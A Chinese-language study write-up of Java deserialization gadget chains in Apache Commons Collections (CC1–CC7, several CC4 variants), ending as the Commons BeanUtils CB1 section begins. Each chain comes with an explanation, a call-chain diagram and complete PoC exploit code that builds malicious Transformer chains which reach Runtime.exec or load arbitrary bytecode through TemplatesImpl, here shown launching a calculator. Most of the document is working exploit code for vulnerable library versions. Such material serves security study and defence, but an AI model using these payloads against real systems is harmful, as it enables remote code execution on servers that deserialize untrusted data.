Java反序列化


Apache Commons Collections

CC1(Commons-Collections 3.1-3.2.1)

**影响版本:**3.1-3.2.1,jdk <= 8u20

依赖信息:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

关键触发点-1:

  • InvokerTransformer.transform()
  • ChainedTransformer.transform()
  • TransformedMap.checkSetValue()

关键点讲解:

TransformedMap 类,它是一个装饰器模式的实现,继承自 AbstractInputCheckedMapDecorator,它包装了一个原始的 Map 对象。用于在添加或修改 Map 中的元素时自动对键(key)和值(value)进行转换。类内部维护了两个 Transformer 对象:

  • keyTransformer:用于转换 Map 的键
  • valueTransformer:用于转换 Map 的值

通过反序列化AnnotactionInvocationHandler对象,在处理时,调用setValue()方法进入链路转换。

  • transformKey():转换键
  • transformValue():转换值
  • transformMap():转换整个 Map
  • checkSetValue():在调用 setValue() 时转换值

ChainedTransformer 类,它是一个实现了 Transformer 接口的类,用于将多个转换器(Transformer)链接在一起,按顺序执行这些转换操作。

transform转换过程:

  • transform 方法是核心实现,它接收一个输入对象,然后按顺序遍历 iTransformers 数组中的每个转换器。
  • 每个转换器的输出作为下一个转换器的输入,形成链式调用。

InvokerTransformer 类的实现。这是一个转换器(Transformer),它通过反射机制在输入对象上调用指定方法并返回结果。

主要属性:

  • iMethodName: 要调用的方法名称
  • iParamTypes: 方法的参数类型数组
  • iArgs: 方法参数值数组

关键方法:

  • transform(Object input): 核心转换方法,对输入对象执行反射调用

通过ChainedTransformer对多个InvokerTransformer进行链式调用触发命令执行。

Gadget链路:

AnnotationInvocationHandler.readObject()
  -> Map.setValue()
  	->AbstractInputCheckedMapDecorator.MapEntry.setValue()
	  	->TransformedMap.checkSetValue()
        	-> ChainedTransformer.transform()
          	-> InvokerTransformer.transform()
            	-> Runtime.exec()

PoC代码:

public class CC1Exploit_1 {

	public static void main(String[] args) throws Exception {
		// 构造恶意Transformer链
		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod",
						new Class[]{String.class, Class[].class},
						new Object[]{"getRuntime", new Class[0]}),
				new InvokerTransformer("invoke",
						new Class[]{Object.class, Object[].class},
						new Object[]{null, new Object[0]}),
				new InvokerTransformer("exec",
						new Class[]{String.class},
						new Object[]{"open -a Calculator"})
		};

		Transformer             transformerChain = new ChainedTransformer(transformers);
		HashMap<String, Object> dataMap          = new HashMap<>();
		Map                     transformedMap   = TransformedMap.decorate(dataMap, null, transformerChain);

		dataMap.put("value", "n1es");

		Class<?>       clazz               = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> declaredConstructor = clazz.getDeclaredConstructors()[0];
		declaredConstructor.setAccessible(true);

		Object annotationInvocationHandler = declaredConstructor.newInstance(Target.class, transformedMap);

		deserialize(serialize(annotationInvocationHandler));
	}
}

关键触发点-2:

  • InvokeTransformer.transform()
  • ChainedTransformer.transform()
  • com.sun.proxy.$Proxy0.entrySet()
  • LazyMap.get()

关键点讲解:

这里利用了动态代理的特性代理了LazyMap,并同时把LazyMap$proxy代理Map传递到了AnnotationInvocationHandler中,通过在反序列化AnnotationInvocationHandler对象时触发其中的代理MapentrySet()方法调用其代理实例处理程序(生成代理Map时指定的AnnotationInvocationHandler)的invoke方法,真正的LazyMap存在在ProxyInvocationHandler属性中。(很绕的思路,不好理解,注意:在调试时是存在俩层InvocationHandler,这个概念容易混淆)。

Object var6 = this.memberValues.get(var4)
->
org.apache.commons.collections.map.LazyMap.get() // 进入transform链路

生成的动态代理类:

package com.sun.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;
import java.util.Collection;
import java.util.Map;
import java.util.Set;

public final class $Proxy0 extends Proxy implements Map {
    private static Method m14;
    private static Method m13;
    private static Method m9;
    private static Method m2;
    private static Method m1;
    private static Method m5;
    private static Method m7;
    private static Method m3;
    private static Method m12;
    private static Method m8;
    private static Method m0;
    private static Method m6;
    private static Method m10;
    private static Method m11;
    private static Method m4;

    public $Proxy0(InvocationHandler var1) throws  {
        super(var1);
    }

    public final boolean containsKey(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m14, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final boolean containsValue(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m13, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final int size() throws  {
        try {
            return (Integer)super.h.invoke(this, m9, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final String toString() throws  {
        try {
            return (String)super.h.invoke(this, m2, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final boolean equals(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final Object put(Object var1, Object var2) throws  {
        try {
            return (Object)super.h.invoke(this, m5, new Object[]{var1, var2});
        } catch (RuntimeException | Error var4) {
            throw var4;
        } catch (Throwable var5) {
            throw new UndeclaredThrowableException(var5);
        }
    }

    public final void clear() throws  {
        try {
            super.h.invoke(this, m7, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final Object remove(Object var1) throws  {
        try {
            return (Object)super.h.invoke(this, m3, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final Set keySet() throws  {
        try {
            return (Set)super.h.invoke(this, m12, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final boolean isEmpty() throws  {
        try {
            return (Boolean)super.h.invoke(this, m8, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final int hashCode() throws  {
        try {
            return (Integer)super.h.invoke(this, m0, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final Collection values() throws  {
        try {
            return (Collection)super.h.invoke(this, m6, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final Set entrySet() throws  {
        try {
            return (Set)super.h.invoke(this, m10, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final void putAll(Map var1) throws  {
        try {
            super.h.invoke(this, m11, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final Object get(Object var1) throws  {
        try {
            return (Object)super.h.invoke(this, m4, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    static {
        try {
            m14 = Class.forName("java.util.Map").getMethod("containsKey", Class.forName("java.lang.Object"));
            m13 = Class.forName("java.util.Map").getMethod("containsValue", Class.forName("java.lang.Object"));
            m9 = Class.forName("java.util.Map").getMethod("size");
            m2 = Class.forName("java.lang.Object").getMethod("toString");
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m5 = Class.forName("java.util.Map").getMethod("put", Class.forName("java.lang.Object"), Class.forName("java.lang.Object"));
            m7 = Class.forName("java.util.Map").getMethod("clear");
            m3 = Class.forName("java.util.Map").getMethod("remove", Class.forName("java.lang.Object"));
            m12 = Class.forName("java.util.Map").getMethod("keySet");
            m8 = Class.forName("java.util.Map").getMethod("isEmpty");
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
            m6 = Class.forName("java.util.Map").getMethod("values");
            m10 = Class.forName("java.util.Map").getMethod("entrySet");
            m11 = Class.forName("java.util.Map").getMethod("putAll", Class.forName("java.util.Map"));
            m4 = Class.forName("java.util.Map").getMethod("get", Class.forName("java.lang.Object"));
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

LazyMap是一个装饰器类的实现,用于创建一个惰性初始化的映射,这意味着当访问一个不存在的键时,它会使用工厂(Factory)自动创建对应的值并将其存储在映射中。这里的Factory就是我们之前构造的ChainedTransformer,根据上述所说的特性,在触发惰加载时,就会使用transform创建对应值,也就触发了chain链路的恶意代码。

  public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

Gadget链路:

AnnotationInvocationHandler.readObject()
  -> Map.entrySet()
    -> AnnotationInvocationHandler.invoke()
      -> LazyMap.get()
        -> ChainedTransformer.transform()
          -> InvokerTransformer.transform()
            -> Runtime.exec()

PoC代码:

public class CC1Exploit_2 {

	public static void main(String[] args) throws Exception {
		// 构造恶意Transformer链
		Transformer[] transformers = new Transformer[]{
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod",
						new Class[]{String.class, Class[].class},
						new Object[]{"getRuntime", new Class[0]}),
				new InvokerTransformer("invoke",
						new Class[]{Object.class, Object[].class},
						new Object[]{null, new Object[0]}),
				new InvokerTransformer("exec",
						new Class[]{String.class},
						new Object[]{"open -a Calculator"})
		};

		Transformer transformerChain = new ChainedTransformer(transformers);

		// 创建LazyMap
		Map innerMap = new HashMap();
		Map lazyMap  = LazyMap.decorate(innerMap, transformerChain);

		// 创建AnnotationInvocationHandler代理
		Class       clazz       = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);

		constructor.setAccessible(true);

		InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

		Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
				new Class[]{Map.class}, handler);

		// 创建最终的AnnotationInvocationHandler
		InvocationHandler finalHandler = (InvocationHandler) constructor.newInstance(Override.class, proxyMap);

		// 序列化和反序列化
		Path serializePath = serialize(finalHandler);
		deserialize(serializePath);
	}

}

CC2(Commons-Collection 4.0)

**影响版本:**4.0

关键触发点:

  • PriorityQueue.readObject()
  • TransformingComparator.compare()
  • InvokerTransformer.transform()

关键点讲解:

PriorityQueue 是 Java 集合框架中的一个基于优先堆的优先队列实现。它是一个无界的优先级队列,根据元素的自然排序或通过构造时提供的 Comparator 进行排序。

  • 不能插入 null 元素
  • 使用自然排序时,元素必须实现 Comparable 接口
  • 使用自定义 Comparator 时,元素必须可被 Comparator 比较

PriorityQueue支持序列化,在ReadObject()的时候会反序列化复制到queue元素queue[i] = s.readObject();,并调用heapify();方法

private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

在自定义Comparator时会触发到Comparator对象的compare操作,开始进入Chains。

  private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

TransformingComparator是一个装饰器模式的实现,用于在比较操作之前对对象进行转换。TransformingComparator 包装了一个 Comparator 和一个 Transformer,在比较两个对象之前,会先使用 Transformer 对这两个对象进行转换,然后将转换后的结果传递给被装饰的 Comparator 进行实际比较。

默认不指定Comparator的情况下,会使用预定义的自然排序顺序的比较器。

public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
        this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
    }

TransformingComparator在比较俩个对象之前,会优先使用Transform对这俩个对象进行转换,然后将转换后的结果传递给自然排序顺序的比较器进行实际比较。

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

TemplatesImpl 的属性 _bytecodes 存储了类字节码,newTransformer方法会通过TransletClassLoader在类加载器中定义_bytecodes指定的translet类和辅助类,需继承AbstractTranslet父类。把恶意代码写到static块中或无参构造中,通过getTransletInstance方法获取实例时,执行写入的代码。

Gadget链:

PriorityQueue.readObject()
  -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
      -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> InvokerTransformer.transform()
            -> TemplatesImpl.newTransformer()

PoC代码:

public class CC2Exploit {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_name", "");
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		InvokerTransformer transformer   = new InvokerTransformer("toString", new Class[0], new Object[0]);
		PriorityQueue      priorityQueue = new PriorityQueue(2, new TransformingComparator(transformer));

		setFieldValue(transformer, "iMethodName", "newTransformer");

		priorityQueue.add(templates);
		priorityQueue.add(templates);

		Path serializePath = serialize(priorityQueue);

		deserialize(serializePath);
	}
}

CC3 (Commons Collections 3.1-3.2.1)

影响版本: 3.1 - 3.2.1,jdk<=8u20

关键触发点:

  • InstantiateTransformer.transform()
  • TrAXFilter构造函数

关键点讲解:

InstantiateTransformer是一个通过Java反射机制来实例化对象的转换器(Transformer)。它的核心功能是将输入的Class对象转换为其对应类的一个新实例。通过transform方法接收一个输入对象,验证输入对象是否为Class类型,使用反射获取指定参数类型的构造函数,使用传入的参数实例化对象并返回新创建的实例。其它步骤同CC1的动态代理方式是一样的,关键在这里使用了InstantiateTransformer去实例化TrAXFilter对象,TrAXFilter接收了一个Templates的对象,并在构造方法中触发了newTransformer()方法,就能通过TemplatesImpl写入任意类。CC3其实就是CC1的动态代理Payload的变种,最终的sink点产生了变化,其余步骤没变。

Gadget链:

AnnotationInvocationHandler.readObject()
  -> LazyMap.get()
    -> ChainedTransformer.transform()
      -> InstantiateTransformer.transform()
        -> TrAXFilter.<init>()
          -> TemplatesImpl.newTransformer()
            -> 恶意字节码执行

PoC代码:

public class CC3Exploit {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		Reflections.setFieldValue(templates, "_name", "HelloTemplatesImpl");
		Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		Reflections.setFieldValue(templates, "_outputProperties", new Properties());


		ChainedTransformer chainedTransformer = new ChainedTransformer(
				new Transformer[]{
						new ConstantTransformer(TrAXFilter.class),
						InstantiateTransformer.getInstance(new Class[]{Templates.class},
								new Object[]{templates})}
		);

		Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);

		Class<?>       annotationClazz            = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
		Constructor<?> annotationClazzConstructor = annotationClazz.getDeclaredConstructors()[0];

		annotationClazzConstructor.setAccessible(true);

		Object annotationInstance = annotationClazzConstructor.newInstance(Target.class, lazyMap);

		// 创建LazyMapProxy代理Handler
		Object lazyMapProxyHandler = Proxy.newProxyInstance(
				lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(),
				(InvocationHandler) annotationInstance);

		// 创建带有LazyMapProxy代理Handler的annotationInvocationHandler
		Object annotationInvocationHandler = annotationClazzConstructor.newInstance(Target.class, lazyMapProxyHandler);

		// 反序列化
		deserialize(serialize(annotationInvocationHandler));
	}

}

CC4 (Commons Collections 4.0)

影响版本: 4.0

关键触发点-1:

  • PriorityQueue.readObject()
  • InstantiateTransformer.transform()

关键点讲解:

CC4是CC2的变种,都是通过PriorityQueue优先队列触发内部自定义Comparator比较,TransformingComparator在比较之前又会触发transform()转换,构成了CC2、4的链路,CC2和CC4的区别就是Transformer接口产生了变化。

Gadget链:

PriorityQueue.readObject()
  -> PriorityQueue.heapify()
    -> PriorityQueue.siftDown()
      -> PriorityQueue.siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> InstantiateTransformer.transform()
           	->TrAXFilter.init()
            	-> TemplatesImpl.newTransformer()

PoC代码:

package org.n1es.deserialize;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.util.PriorityQueue;
import java.util.Properties;

import static org.n1es.deserialize.utils.DeserializeUtils.deserialize;
import static org.n1es.deserialize.utils.DeserializeUtils.serialize;
import static org.n1es.deserialize.utils.Reflections.setFieldValue;
import static org.n1es.deserialize.utils.xalan.AbstactTransletGenerate.generateClass;

public class CC4Exploit_1 {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_name", "HelloTemplatesImpl");
		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		ChainedTransformer chainedTransformer = new ChainedTransformer<>(new Transformer[]{
				new ConstantTransformer(TrAXFilter.class),
				InstantiateTransformer.instantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
		});

		TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

		PriorityQueue priorityQueue = new PriorityQueue<>(2, transformingComparator);

		// 反射添加queue值,防止在add(queue)时触发Transform()操作
		setFieldValue(priorityQueue, "size", 2);
		setFieldValue(priorityQueue, "queue", new Object[]{1, 1});

		// 反序列化
		deserialize(serialize(priorityQueue));
	}
}

关键触发点-2:

  • TreeBag.readObject()
  • TreeMap.compare()

关键点讲解:

根据su18的CC4新链路的分析指明TreeBag存在类似的利用条件。TreeBag是一个基于TreeMapSortedBag(排序袋)实现。它使用TreeMap来存储数据。SortedBagBag(袋)的扩展,Bag是一种特殊的集合,它允许存储重复的元素,并跟踪每个元素的出现次数。TreeBag内部使用TreeMap来存储元素及其计数。TreeMap是一个基于红黑树的实现,可以保证元素的有序性。每个元素在TreeMap中对应一个MutableInteger对象,用于记录该元素的出现次数。TreeBag通过TreeMap的自然排序或提供的Comparator来维护元素的顺序。通过了解我们知道TreeBag是基于TreeMap实现的,treeBag添加一个元素时,其实就是在TreeMap中增加一条映射值,且在put操作时,存在compare比较操作。

TreeBag也允许我们添加自定义的Comparator,在compare比较时,通过自定义的Comparator进行比较操作,构成了触发条件。

在反序列化时TreeBag会触发put操作进行还原值,就会触发这条链路。

Gadget链:

TreeBag.readObject()
  -> AbstractMapBag.doReadObject()
    -> TreeMap.put()
      -> TreeMap.compare()
        -> TransformingComparator.compare()
          -> InstantiateTransformer.transform()
           	->TrAXFilter.init()
            	-> TemplatesImpl.newTransformer()

PoC代码:

public class CC4Exploit_2 {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_name", "HelloTemplatesImpl");
		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		ConstantTransformer constantTransformer = new ConstantTransformer(String.class);

		Transformer<Class<?>, Object> instantiateTransformer = InstantiateTransformer.instantiateTransformer(
				new Class[]{String.class}, new Object[]{""}
		);

		ChainedTransformer chainedTransformer = new ChainedTransformer(constantTransformer, instantiateTransformer);

		TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

		TreeBag treeBag = new TreeBag<>(transformingComparator);

		treeBag.add(templates);

		setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
		setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
		setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});

		deserialize(serialize(treeBag));
	}
}

关键触发点-3:

  • DualTreeBidiMap.readObject()
  • java.util.TreeMap.put()
  • TransformingComparator.compare()

关键点讲解:

通过学习su18的CC4.TreeMap链路的分析,发现了DualTreeBidiMap可以作为TreeBag的替代链。DualTreeBidiMap 是 Apache Commons Collections 库中的一个双向映射(BidiMap)实现,它使用两个 TreeMap 来存储键值对,分别用于正向和反向映射。这个类实现了 SortedBidiMap 接口,意味着它维护了键和值的排序顺序,键和值都按照各自的 Comparator 排序,可以通过键查找值,也可以通过值查找键。DualTreeBidiMap使用TreeMap存储键值对就意味着在readObject()中只要对treeMap进行put操作就有机会构造链路。

我们创建DualTreeBidMap实例时,传入一个带值的Map,这决定了能否在反序列化时触发treeMapput操作,DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(new HashMap() {{ put("key", "n1es");}});。之后进入treeMap对准备添加到映射中的值进行Compare比较。

Gadget链:

DualTreeBidiMap.readObject()
  -> AbstractDualBidiMap.put()
    -> TreeMap.put()
      -> TreeMap.compare()
        -> TransformingComparator.compare()
          -> InstantiateTransformer.transform()
           	->TrAXFilter.init()
            	-> TemplatesImpl.newTransformer()

PoC代码:

public class CC4Exploit_3 {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_name", "HelloTemplatesImpl");
		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
		Transformer<Class<?>, Object> instantiateTransformer = InstantiateTransformer.instantiateTransformer(
				new Class[]{String.class}, new Object[]{""}
		);

		ChainedTransformer chainedTransformer = new ChainedTransformer(constantTransformer, instantiateTransformer);

		TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

		DualTreeBidiMap dualTreeBidiMap = new DualTreeBidiMap(new HashMap() {{
			put("key", "n1es");
		}});

		setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
		setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
		setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});

		Reflections.setFieldValue(dualTreeBidiMap, "comparator", transformingComparator);

		// 反序列化
		deserialize(serialize(dualTreeBidiMap));
	}
}

CC5 (Commons Collections 3.1-3.2.1)

影响版本: 3.1 - 3.2.1

关键触发点:

  • BadAttributeValueExpException.readObject()
  • TiedMapEntry.toString()

关键点讲解:

CC1中使用的AnnotationInvocationHandler类在jdk1.8之后进行了修复,CC5的BadAttributeValueExpException是替代AnnotationInvocationHandler的新的利用类。

BadAttributeValueExpException允许反序列并接受一个对象值,在反序列化时可以触发这个对象的toString()方法,完美契合了TideMapEntry的触发流程。

TiedMapEntry 是一个"绑定"到SingletonMap上的 Map.Entry 实现。它代表了一个特定的键值对,但这个键值对是存储在底层 Map 中的。通过 TiedMapEntry 实例,可以直接操作底层 Map 中的条目。在CC1中知道lazyMap的触发为通过get()进入链路,这里赋值一个LazyMap来构造链路。

Gadget链:

BadAttributeValueExpException.readObject()
  -> tiedMapEntry.toString()
    -> lazyMap.get()
        -> InstantiateTransformer.transform()
           ->TrAXFilter.init()
            	-> TemplatesImpl.newTransformer()

PoC代码:

public class CC5Exploit {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_name", "HelloTemplatesImpl");
		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
		Transformer instantiateTransformer = InstantiateTransformer.getInstance(
				new Class[]{String.class}, new Object[]{""}
		);

		ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
				constantTransformer, instantiateTransformer
		});

		Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);

		TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "n1es");

		BadAttributeValueExpException expException = new BadAttributeValueExpException("n1es");

		Reflections.setFieldValue(expException, "val", tiedMapEntry);

		setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
		setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
		setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});

		deserialize(serialize(expException));
	}
}

CC6 (Commons Collections 3.1-3.2.1)

影响版本: 3.1 - 3.2.1

关键触发点:

  • HashMap.readObject()
  • TiedMapEntry.hashCode()

关键点讲解:

在CC5中通过触发TiedMapEntry.toString()进入链路,发现TideMapEntryequalshashCode这些方法都可以触发lazyMap链路,进而有了CC6通过HashMap.hashcode()的触发方式。hashMap在反序列化时还原条目时,会触发键值对的hashcode,从而触发执行。我们的PoC代码中依然通过HashMap.hashcode\TrAXFilter\TemplatesImpl执行代码,这里注意的是:在构造链时会触发transform的转换,这时会在lazyMap中put一个键值对,我在反序列化之前通过反射重新修改了TiedMapEntry的key属性值,方便在反序列化时触发transform机制。

Gadget链:

HashMap.readObject()
  -> tiedMapEntry.hashcode()
    -> tiedMapEntry.getValue()
	    ->LazyMap.get()
        -> InstantiateTransformer.transform()
           ->TrAXFilter.init()
            	-> TemplatesImpl.newTransformer()

PoC代码:

public class CC6Exploit {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_name", "HelloTemplatesImpl");
		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
		Transformer instantiateTransformer = InstantiateTransformer.getInstance(
				new Class[]{String.class}, new Object[]{""}
		);

		ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
				constantTransformer, instantiateTransformer
		});

		Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);

		TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "toString");

		HashMap<Object, Object> dataMap = new HashMap<>();

		dataMap.put(tiedMapEntry, "n1es");

		Reflections.setFieldValue(tiedMapEntry, "key", "n1es");
		setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
		setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
		setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});

		deserialize(serialize(dataMap));
	}
}

CC7 (Commons Collections 3.1-3.2.1)

影响版本: 3.1 - 3.2.1

关键触发点:

  • Hashtable.readObject()
  • TiedMapEntry.hashCode()

关键点分析:

Hashtable是一个基于哈希表的Map实现,它存储键值对(key-value pairs)。Hashtable中的键和值都不能为null。它是Java Collections Framework的一部分,并且是线程安全的(synchronized)。与HashMap的区别:Hashtable是同步的,HashMap不是。HashMap允许一个null键和多个null值,Hashtable不允许。HashMap通常比Hashtable快,因为不需要同步开销。Hashtable继承自Dictionary,而HashMap继承自AbstractMap。在CC7中用HashTable替代了CC6中HashMap的触发方法,其它一致。

Gadget链:

HashTable.readObject()
  -> tiedMapEntry.hashcode()
    -> tiedMapEntry.getValue()
	    ->LazyMap.get()
        -> InstantiateTransformer.transform()
           ->TrAXFilter.init()
            	-> TemplatesImpl.newTransformer()

PoC代码:

public class CC7Exploit {

	public static void main(String[] args) throws Exception {
		TemplatesImpl templates = new TemplatesImpl();

		setFieldValue(templates, "_name", "HelloTemplatesImpl");
		setFieldValue(templates, "_bytecodes", new byte[][]{generateClass()});
		setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
		setFieldValue(templates, "_outputProperties", new Properties());

		ConstantTransformer constantTransformer = new ConstantTransformer(String.class);
		Transformer instantiateTransformer = InstantiateTransformer.getInstance(
				new Class[]{String.class}, new Object[]{""}
		);

		ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
				constantTransformer, instantiateTransformer
		});

		Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);

		TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "toString");

		Hashtable<Object, Object> hashtable = new Hashtable<>();

		hashtable.put(tiedMapEntry, "n1es");

		Reflections.setFieldValue(tiedMapEntry, "key", "n1es");
		setFieldValue(constantTransformer, "iConstant", TrAXFilter.class);
		setFieldValue(instantiateTransformer, "iParamTypes", new Class[]{Templates.class});
		setFieldValue(instantiateTransformer, "iArgs", new Object[]{templates});

		deserialize(serialize(hashtable));
	}
}

Apache Commons BeanUtils

CB1 (Commons BeanUtils 1.9.2及以下)

影响版本: <= 1.9.2

依赖信息:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>

关键触发点:

  • BeanComparator.compare()
  • PropertyUtils.getProperty()

关键点分析:

